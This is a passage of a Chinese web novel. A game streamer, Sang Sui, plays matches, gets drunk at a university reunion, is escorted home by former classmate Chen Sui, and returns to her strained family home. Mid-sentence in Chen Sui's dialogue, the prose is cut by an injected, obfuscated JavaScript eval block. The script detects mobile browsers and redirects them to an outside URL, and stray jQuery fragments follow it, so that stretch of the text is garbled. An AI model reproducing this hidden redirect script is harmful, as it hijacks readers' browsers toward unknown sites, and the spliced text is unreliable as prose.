第二局开始,桑穗没抢赢禾佳佳,被她跟随了跳伞。
她看了一眼航线,标记了一个点,“还是跳渔村吧。”
禾佳佳:“OKOK。”
开局几分钟,桑穗忙着搜东西,也没去看弹幕,完全不知道此时直播间里发生了什么。
——我刚刚看见的那个击杀消息没看错吧?
——你没看错,我也看见了,我去,这么小的几率都能撞上
——你们在说啥?
——和另一个游戏主播撞车了,叫甜心派,她现在也开着直播
另外两个匹配的队友也跟着桑穗跳渔村,小小的渔村很快就被他们一队人搜完了。
趁着跑圈的间隙,桑穗抽空看了一眼弹幕。
直播间来了许多陌生的人,评论也乱七八糟的,她一头雾水地看了几眼弹幕,没有看出什么名堂,就继续跑毒了。
到现在为止他们一队人连一个人机都没有遇到。
桑穗哀叹一声,苦兮兮地说:“这一路风平浪静一个人影也没有看到,一会肯定又会同时遇到很多人。”
这是她和禾佳佳多年来打这个游戏遇到的经验之谈,没有一次例外,越平静的战场背后越是神仙打架。
禾佳佳找了一个石头趴着,一脸赞同,“那我们苟在圈边上,等他们先打。”
桑穗看了一眼人数,还剩下二十多个人,连前五的排名都还没进。
禾佳佳:“我好像看见人了,打不打?”
桑穗打开小地图看了一眼,她离禾佳佳只有200米的距离,“有把握就打,没把握就不打,我马上过去找你。”
她快速地往禾佳佳那边赶。
禾佳佳标了一个点,“那个人应该躲在石头后面,他们和其他人打起来了。”
“那我们找机会补他们几枪。”
桑穗看到了人,她找了一个高处,把手中的枪由连发改为单发,打开6倍镜。
她瞄准人物,一发一发地点,对方应该是残血的状态,开枪点了没几次就倒地了。
桑穗对于她这波操作完全不在意,弹幕倒是要笑疯了。
——主播笑死我了,第一次看见这么菜的游戏主播
——菜是挺菜的,不过也蛮搞笑的,期待主播后续还有什么惊人的操作
——被打倒的那人是甜心派吧,她技术也菜的不行
——甜心派那边有人带她,应该能吃鸡
——我双开的,甜心派那边正在娇滴滴地叫哥哥,让他们赶快救她,还说让他们给她报仇
桑穗对自己的操作还是有自知之明的。
她不会压枪,也听不准脚步声,她在打游戏中从来都是属于眼睛瞎和耳朵聋的那一类人。
她玩游戏图的就是一个乐呵。
此时,进入前五的消息弹了出来,地图上还剩下18个人。
桑穗准备把刚才击倒的那个人补掉,才发现已经看不见人影了。
没有击杀消息传来,应该是转移了位置被队友扶起来了。
她告诉自己一定要心平气和,这种事已经不是第一次发生了。
桑穗叹了一口气,对禾佳佳说道:“我们先进圈吧。”
决赛圈还停留在信号区外面,对他们来说绝对不是明智之举。
信号区越缩越小,缩在了一个平原,能藏身的掩体不多。
尽管桑穗她们已经非常苟了,但还是没有苟到冠军的位置。
之后桑穗和禾佳佳又陆陆续续地玩了几局,没有一次能得第一。
桑穗悲伤地想:可能今天不宜游戏。
把自己撇的干干净净。
第二天下午六点,桑穗准时到达青云巷。
大学刚毕业,同学们还有联系,由班长组织了这个同学聚会。
大学期间,桑穗忙着赚学费、赚生活费,每次那些班级活动能推的都推了。
她所有的闲暇时间都用来兼职赚钱。
而班长知道她的情况,一般不是太重要的活动都批了她的假。
现在大学毕业,桑穗成了一名主播时间自然是有的,既然班长邀请了她,她也就赴约了。
桑穗在服务员的带领下来到了包厢的位置。
当她推开门进入包厢后,所有人都停止了交谈,整个空间安静了一瞬。
桑穗在大学期间是班里出了名的边缘人,即大大小小的活动都找不到人。
这次同学聚会大家都默认她不会来。
班长最先反应过来,毕竟人是他邀请的。
张举热络地打着招呼,“桑穗,你来了,这边还有位置坐。”
包厢里灯光昏暗,明明暗暗的光影忽闪在各处。
桑穗看不清其他人的表情,不过就算看清了她也不在意,毕竟她可能连那些人的名字都叫不出来。
桑穗走到空位坐下,“不好意思,我来晚了。”
离桑穗比较近的人连忙接了话,“不晚,不晚,我们这才刚开始呢,你来的刚刚好。”
另一人也跟着附和,“是啊,我们也才来不久。”
在场的各个都是人精,而且桑穗本来就没有迟到。
她对她们微微点头示意,然后老老实实充当背景板。
这个插曲过后,包厢里又渐渐恢复了热闹。
同学A说,谁当了大官发了大财,看不上他们这些个大学同学,退了群后,还把所有人的联系方式都删完了……
同学B说,当时班里所有人都看好的一对金童玉女,毕业后不到一个月就分手了……
说完了没有参加同学聚会的人的八卦,在场的人又开始了隐形的攀比。
桑穗没和其他人聊天,只独自喝了几杯酒。
待了一会儿后她打算出去透透气,包间里有人抽烟,空气很闷。
桑穗大致看了看周围,众人三三两两聚集在一起,没人注意到她。
得亏她来的迟,她坐的位置靠近门口。
现在大家都喝上头了,根本不会发现有一个人离席。
她收回视线,拿好小包,一脸惬意地离开了包厢。
清云巷很大,大大小小的包厢有上百个。
桑穗只是在出门没几分钟的休息区休息了一会儿,回去的时候她就迷路了。
桑穗忍不住在心里嘀咕:走廊设计的又宽敞又明亮有什么用,每条路的装饰都设计的一模一样这不还是让人迷路吗?
而且她已经在这几条走廊转来转去十几分钟了,别说是一个能问路的人,就连服务员都没看见一个。
陈绥就是这个时候出现的。
男人褪去了大学时期的学生气,一头干净利落的短发,眼神犹如实质般让人无可遁形。
陈绥变得更成熟,更有魅力了。
桑穗对上陈绥的视线,渐渐的,眼前的人又和当初那个在毕业演讲台上的人重合了。
她想到现在自己迷路的处境,为避免再次胡乱转圈,她迎着陈绥的视线,露出一个讨好的笑容,“帅哥,一起走吗?”
陈绥看着面前很明显喝了酒的女人,眉头不着痕迹地皱了皱。
桑穗见陈绥不回答自己,突然反应过来在大学期间他们没有任何交集,陈绥不认识她才正常。
她茫然了一瞬,酒精的作用让她整个人都迷糊了。
桑穗小心地靠近陈绥,她轻轻拉着陈绥的衣袖,报上了自己的名字,“帅哥,我真不是看你帅要搭讪你!我也是南城大学2018级的,我当时还看过你的毕业演讲呢!”
桑穗一口气说完了一大段,生怕陈绥误会她是骗子。
此时,因为说话缺氧的缘故,她的脸比刚才更加的红润、有色泽。
她委屈地看着陈绥,眼睛水润,带着雾气。
陈绥看着面前有几分无辜的女人,眸光暗了暗,哑声道:“没有人告诉过你,喝醉了酒不能在外面乱逛吗?”
桑穗喝醉了酒,脑袋转不过弯,“没有人是谁?”
陈绥听了无奈地摇摇头,像是拿桑穗没办法,“走吧,我带你去找‘没有人’,不过你得先把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16550210|186804||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你家的位置告诉我。”
桑穗早上醒来时,整个人还处于待机状态。
几分钟后,桑穗一机灵,猛地从床上坐了起来,她用力地拍了拍头,恨不能把昨晚那个乱发酒疯的自己拖出去乱棍打了。
桑穗酒量普通,平时喝酒也控制着喝,从来没有在外面喝醉过。
她怎么也想不到醉酒这件事会发生在她身上。
桑穗把自己埋进被窝,恨不得换个地球生活。
她还记得昨天晚上陈绥问她要地址后,她想都没想就告诉他了。
连带着门牌号一起,完全没有一点防备心。
说完还乐呵地对着陈绥傻笑,像是高兴陈绥带她去找“没有人”这件事很开心。
刚一上车,桑穗就倒头睡了过去。
她再次醒来的时候是在自己的床上,是陈绥把她叫醒的。
陈绥端了一碗醒酒汤哄着她喝下,然后让她乖乖睡觉。
当时她感觉到自己脸上没有化妆,很清爽后,直接倒头又睡了过去。
然后就睡到了现在。
桑穗一脸麻木地起床洗漱,来到餐厅倒水喝,就看到了桌子上陈绥留下的便利贴。
陈绥的字很好看,笔锋凌厉,遒劲有力。
【不介意我动用了一下你家厨房吧?要是醒来还头痛,记得去找医生看看,还有,不要告诉陌生人自己住的位置。——绥】
桑穗撕下便利贴,随意夹进了桌上的日历本中。
周六,桑穗简单收拾了一下东西准备回家。
她陆陆续续忙活了半小时后,才发现其实也没有什么好收拾的。
张蓉给桑穗发消息的第二天,桑家明就给她打来了电话。
中心思想只有一个——回家一趟。
桑家明从生活不易说到生养之恩,到最后破口大骂,句句不离白眼狼。
最后桑穗还是决定回去一趟,就当是做一个了结。
也许一切都说开了,心结解开就不会再挣扎了。
回家的路上,桑穗坐在车上,拿着手机无聊地翻看着各类软件。
点进去,退出,换一个点进去,又退出……
像是想起什么,桑穗又点开了携程。
她浏览着页面上的信息,选了一个比较眼熟的酒店订了一间房。
岭城是小城市,酒店的房间并不紧张。
旅途很漫长,桑穗坐了几小时动车后又转乘了大巴。
在炎热的夏天坐大巴车简直是酷刑。
桑穗有晕车的毛病,虽然车上有空调,但是还是挡不住烦闷的气息。
她觉得她这一路还是直接睡过去比较好,睡着了就不会晕车了。
一路晃悠悠的,到达家里的时候已经是下午两点了。
桑穗拿出钥匙开门,家里一片寂静,似乎没有人在。
她刚打算离开,去酒店一趟把行李放下,卧室的门就打开了。
张蓉从房间里走出来,她脸上露出的笑容很是开心,“我刚刚听见开门声就猜是你回来了。”
她看着桑穗身旁的行李箱说道:“今天星期六,怎么也没让你爸去车站接你。”
张蓉话语里的熟稔,仿佛她们之间的间隙不存在一般。
这里或许不应该用熟稔,毕竟她们本来就是最亲密的亲人。
但现在还是吗?桑穗不确定了。
桑穗不着痕迹地躲开张蓉想要帮她拉行李箱的手,“我都这么大一个人了,打一个车就回来的事情,不用再专门跑一趟。”
桑穗把行李箱放在客厅的角落。
她心里是知道的,就算今天是星期六家里没事,桑家明也不会去接她。
就像她自己说的,她都那么大一个人了。
桑穗小的时候桑家明不管她,也不会去接她上学放学,现在她长大了,他就更不会去做这些事情了。
在桑家明眼里,桑穗恐怕还不如他手里的麻将来得重要。
因为麻将姑且可以为他赚钱,而她只能伸手用他的钱。